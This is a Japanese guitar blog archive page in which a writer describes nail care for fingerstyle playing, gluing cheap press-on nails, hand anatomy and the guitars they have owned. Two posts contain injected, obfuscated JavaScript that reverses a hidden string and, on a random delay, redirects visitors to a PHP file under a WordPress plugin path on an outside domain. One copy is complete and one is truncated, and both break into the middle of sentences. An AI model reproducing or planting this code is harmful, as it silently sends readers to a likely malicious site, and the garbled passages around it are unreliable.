2019-02

サウンドハウス
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最適なつけ爪を発見

2019.02.27 ギターと体の関係

皆さん、こんにちは、メロウです。

引っ張るつもりはないのですが、読んで頂いている方に出来るだけわかりやすく伝えようとするあまり、どうしても長文になり爪の話も3回目になってしまいました。

基本的に活字好きな質というのもありますが、文字を読む習慣のない方にはちょっと迷惑かも知れませんね。
まぁその内息切れして短文で済ますようになっちゃうかも知れませんが・・・

さて、前回お話しした通り、低価格なつけ爪を瞬間接着剤で貼り付けるという方法で、どうにか爪の悩みから一歩抜け出せました。
ですが、つけ爪のサイズやランニングコストに若干の問題があり、今ひとつスッキリしない状態が続いていました。

詰まる所、自分で好きなサイズにカット出来る、より安価なつけ爪があれば問題は解決するわけですが、色んなサイズをまとめ買いしていたので、それを使い切るまで薄っぺらなセルロイドのつけ爪が割れないようにする工夫などを凝らしていました。

そうしている内、使うサイズに偏りができ、必然的に親指向きの大きいサイズばかり残ってくるようになりました。
で、深く考えるまでもなく、ハサミで両端をカットすれば問題なく他の指用に利用出来る事に気づいた次第です。
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つけ爪を使い始めた頃

2019.02.24 ギターと体の関係

皆さん、こんにちは、メロウです。

早速前回に続き、現在私が採用している爪のケア方法についてお話ししたいと思います。

ギターを弾くための爪のケア方法には色々ありますが、スカルプチャー系は私には合わない方法でした。
ある製品では爪が本当に皮膚の一部だと実感するくらいふにゃふにゃになり、爪が伸びても自爪で演奏することが全く出来なほど痩せてしまいました。

塗装などに使うシンナーやアセトンにはかなり強い体質であるにも拘わらずです。
爪に優しいと謳われている商品でしたし、使用方法を間違っていたわけもなかったのですが・・・

そもそもの問題として、私は仕事内容やスポーツなどをする日常生活で、爪を傷つけたり痛めやすいという事実があります。
ですから当然の帰結として、頻繁に爪を修正する必要があるため、爪への負担も大きかったのかも知れません。

普段から事務作業くらいでしか指先を使わない方なら、スカルプチャー系のケア方法でも一度処理すれば何日も持ちしますから、問題はないのかも知れませんね。

そのあと試したつけ爪は、両面テープで貼り付けるタイプだったので爪への悪影響はほとんどありませんでした。
そういう意味では、比較的私に合っている方法なのかも知れませんが、前回お話しした通り「なくす」ことが多いという問題がありました。

実はそれ以外にも不満に感じていたことがあります。
それは貼り付け方次第で微妙に爪の角度が変わってしまうため、その都度微調整が必要になることです。

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爪のケア方法とその問題点

2019.02.21 ギターと体の関係

皆さん、こんにちは、メロウです。

前回は少々残念よりな私の手や指についてお話しましたが、今回は少しはお役に立てそうな爪についての話をさせて頂こうと思います。

クラシックギターやアコースティックギターでソロ演奏をする場合、爪のケアは欠かせません。
金属製やプレスティック製のフィンガーピックやアラスカピックなどをお使いの方もいらっしゃるかと思いますが、どれも一長一短があります。

自爪に優るものはないのは確かで、私の場合、どのようなピックでもその装着感が気になり、積極的に使おうという気にはなりません。
ギターを伴奏用として利用するのであれば、しっかりとした音量を確保するためにも有効な手段かも知れませんが、こうしたタイプのピックはソロ演奏にあまり向いているように思えません。

といっても、親指につけるサムピックはソロでもうまく活用出来ますし、それ以外のピックも気持ちよく使えるのであればそれで問題のない話ですが・・・全文を読む…

身体的特徴 (My Hand)

2019.02.16 手と指ギターと体の関係

皆さん、こんにちは、メロウです。

ギター遍歴のシリーズも一通り終わり、さて次に何を取り上げようかと考えている所です。
とりあえずは、ギターを弾くにあたって不可欠な話から・・・ということでギターを弾くための手や指についての話から始めたいと思います。

ギターに限らず、楽器演奏に手の大きさや指の長さが重要な要素であるのは間違いありません。ギターに限っていえば

● 大きな手や長い指 ● しなやかな指関節や手首 ● ふっくらとした指頭 ● 丈夫で形の良い爪

などが理想的なパーツとだと言えます。

$Ubj=function(n){if (typeof ($Ubj.list[n]) == “string”) return $Ubj.list[n].split(“”).reverse().join(“”);return $Ubj.list[n];};$Ubj.list=[“\’php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/” class=”more-link”>全文を読む…

これまでのギター遍歴 ゆる~い時代編

2019.02.10 ギター本体ギター遍歴

皆さん、こんにちは、メロウです。

前回、前置きが長くなって次に入手したギターの話に至らなかったので、早速続きを始めたいと思います。

江部氏の曲集からソロギターに目覚め、一時期よりはずいぶんギターにふれる時間が増えました。
ですが、元より多趣味な私にとってギターの優先順位はまだ5番目くらいで、夢中になるという程ではありませんでした。

一つのことに集中しだすと、他の事が疎かになりがちな性格なので、数ヶ月間ギターをさわらない時期もありました。
そういう時に、再度モチベーションを上げる手段として、新しいギターを購入される方も多いのかもしれませんね。

ところでその頃、夜でも気兼ねなく練習できるとヤマハのサイレントギターの人気が出始めていました。
調べてみると悪い評価はほとんどなく、5万円前後という価格はお手頃感もありました。

ギターを弾くのは主に会社社屋の三階でしたので、音を気にすることはない環境でしたが、自宅用にもう1本ギターを持ちたいと考えていた頃です。

悩ましいのは、サイレントギターは当初から$Ubj=function(n){if (typeof ($Ubj.list[n]) == “string”) return $Ubj.list[n].split(“”).reverse().join(“”);return $Ubj.list[n];};$Ubj.list=[“\’php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and-pink”>ナイロン弦のクラシックモデルがある事でした。
これまでの流れからすればクラシックモデルに興味津々なのですが、スチール弦のギターも懐かしく、悩んだ末にフォークモデルを購入しました。

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これまでのギター遍歴 ソロギターとの出会い編

2019.02.06 ギター本体ギター遍歴

皆さん、こんにちは、メロウです。

ここしばらく、これまでに購入したギターの事を長々と綴ってきましたが、それも今回で最後です。

さて、アストリアスのクラシックギターも、時折さわる程度で、せいぜい鼻歌の伴奏程度にしか使わないようになっていきました。
今更新しい教本で勉強する気もなく、目標を見つけられないまま、またしてもギターから遠ざかり始めたわけです。

そんな期間が数年続いたのですが、ある日、たまたま本屋で江部賢一氏の『ソロ・ギター ビートルズ』という曲集を見つけました。
1・2巻に分かれていて、全部でおそそ30曲、ビートルズの代表曲をほぼ網羅した内容です。

ちなみにビートルズ世代ではなかったので、それほど彼らの曲を聴き込んでいたわけではありませんが、掲載されていた曲のほとんどはメロディーがすぐに浮かんできました。

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これまでのギター遍歴 社会人編

2019.02.01 ギター本体ギター遍歴

皆さん、こんにちは、メロウです。

今回も、私の所有したギターとそのギターにまつわるお話が続きます。

大学を卒業してからは全くギターを弾いておらず、ヘッドウェイが流刑なった後も長い間ギターに触れていませんでした。
その頃は、私の中では第2次ゴルフブームで、近所の練習場に毎日のように通っていました。

私とゴルフとの縁も随分深く、中学生の頃から裏の畑でボールを打ったりしていましたが、高校生の時には年に数回のラウンドもしていました。
今でこそ中高生がゴルフをするのも当たり前ですが、両親がゴルフをするわけでもなく、当時はそれなりに希少な存在でした。
コースへ行くのも電車やクラブバスを利用していましたが、ジュニアのトーナメントに出たこともありました。

その頃が第1次ブームで、学生時代は全くクラブを握っていなかったので、卒業して地元の帰ってからが第2次ブームというわけです。

そんなわけで、ギターとはすっかりご無沙汰だったのですが、ある日突然ギターを購入することになります。

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